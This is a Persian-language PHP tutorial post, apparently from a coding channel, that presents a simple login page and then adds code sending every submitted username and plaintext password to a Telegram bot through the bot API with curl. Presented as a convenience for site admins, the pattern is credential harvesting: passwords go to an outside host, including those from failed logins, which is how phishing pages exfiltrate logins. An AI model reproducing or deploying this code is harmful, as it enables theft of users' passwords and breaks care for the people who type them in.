امروز با یه آموزش کاربردی اومدم که چجوری اطلاعات کاربر رو که توی سایتمون وارد میکنه رو از تلگرام دریافت کنیم⁉️#تیکه_کد
#Php
ما با استفاده از ریکوئست به api تلگرام این کار رو انجام میدیم 🔥
برای مثال این یک صفحه لاگین ساده هست ✔️Php
<?php
session_start();
if (isset($_SESSION['username'])) {
header('Location: dashboard.php');
exit;
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$usernameDB = 'your_username';
$passwordDB = 'your_password';
if ($username == $usernameDB && $password == $passwordDB) {
$_SESSION['username'] = $username;
header('Location: dashboard.php');
exit;
} else {
$error = 'نام کاربری یا رمز عبور اشتباه است.';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>صفحه لاگین</title>
<style>
body {
font-family: Arial, sans-serif;
}
</style>
</head>
<body>
<h1>صفحه لاگین</h1>
<form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
<label for="username">نام کاربری:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">رمز عبور:</label>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="لاگین">
</form>
<?php if (isset($error)) {?>
<p style="color: red;"><?php echo $error;?></p>
<?php }?>
</body>
</html>
ما میخواهیم کاری کنیم وقتی کاربر توی سایت لاگین کرد اطلاعات اون به ربات تلگرامی ما ارسال شه‼️
حالا چجوری❓
ما باید به api تلگرام ریکوئست بدیم که با استفاده از توکن اطلاعات رو به ربات ما ارسال کنه☄️
⚠️کد زیر نمونه کامل از صفحه لاگین بالاس⚠️Php
<?php
session_start();
if (isset($_SESSION['username'])) {
header('Location: dashboard.php');
exit;
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$usernameDB = 'your_username';
$passwordDB = 'your_password';
if ($username == $usernameDB && $password == $passwordDB) {
$_SESSION['username'] = $username;
header('Location: dashboard.php');
exit;
} else {
$error = 'نام کاربری یا رمز عبور اشتباه است.';
}
// ارسال نام کاربری و رمز عبور به ربات تلگرام
$token = 'your_telegram_token'; // توکن ربات تلگرام
$chat_id = 'your_chat_id'; // آیدی چت ربات تلگرام
$data = array(
'chat_id' => $chat_id,
'text' => "نام کاربری: $username, رمز عبور: $password"
);
$json_data = json_encode($data);
$ch = curl_init('https://api.telegram.org/bot'. $token. '/sendMessage');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$response = curl_exec($ch);
curl_close($ch);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>صفحه لاگین</title>
<style>
body {
font-family: Arial, sans-serif;
}
</style>
</head>
<body>
<h1>صفحه لاگین</h1>
<form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
<label for="username">نام کاربری:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">رمز عبور:</label>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="لاگین">
</form>
<?php if (isset($error)) {?>
<p style="color: red;"><?php echo $error;?></p>
<?php }?>
</body>
</html>
کد بالا نمونه ای کامل از آن است که میتوان اطلاعات را دریافت و بصورت ربات تلگرام به ادمین ارسال کرد✔️